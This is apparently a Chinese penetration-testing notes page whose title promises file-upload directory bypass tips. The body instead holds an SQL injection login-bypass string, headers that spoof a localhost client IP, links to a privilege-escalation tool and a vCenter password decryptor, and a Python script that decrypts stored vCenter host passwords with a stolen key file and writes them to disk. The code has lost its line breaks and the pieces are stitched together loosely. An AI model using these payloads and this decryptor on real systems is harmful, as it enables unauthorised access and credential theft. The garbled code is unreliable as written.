GFYL文件上传跨目录突破技巧

admin' or '1'='1/111

X-Real-IP: 127.0.0.1X-Forwarded-For (XFF): 127.0.0.1X-Forwarded-Host: 127.0.0.1X-Client-IP: 127.0.0.1

https://github.com/zcgonvh/EfsPotato

https://github.com/shmilylty/vhost_password_decrypt

import base64import sysfrom Crypto.Cipher import AESusage='''usage:    python3 decrypt.py symkey.dat password.enc'''def pkcs7unpadding(text):    length = len(text)    padding_length = ord(text[-1])    return text[0:length-padding_length]def decrypt(key, enc_passwords):    passwords = []    key_bytes = bytes.fromhex(key)    for enc_password in enc_passwords:        content = base64.b64decode(enc_password)        iv_bytes = content[:16]        enc_password_bytes = content[16:]        cipher = AES.new(key_bytes, AES.MODE_CBC, iv_bytes)        password_bytes = cipher.decrypt(enc_password_bytes)        password = str(password_bytes, encoding='utf-8')        password = pkcs7unpadding(password)        line = f'{password}'        print(line) # show the password as you save it to a file         passwords.append(line)    return passwordsdef save_decrypt_password(path, passwords):    data = 'n'.join(passwords)    with open(path, 'w') as file:        file.write(data)def get_encrypt_password(path):    enc_passwords = []    with open(path, 'r') as file:        for line in file:            line = line.strip().strip('*')            enc_passwords.append(line)    return enc_passwordsdef get_key(path):    with open(path, 'r') as file:        key = file.read().strip()    return keydef main():    if len(sys.argv) != 3:        print(usage)        exit(1)    key = get_key(sys.argv[1])    encrypt_passwords = get_encrypt_password(sys.argv[2])    save_path = "result.txt"    passwords = decrypt(key, encrypt_passwords)    save_decrypt_password(save_path, passwords)if __name__ == '__main__':    main()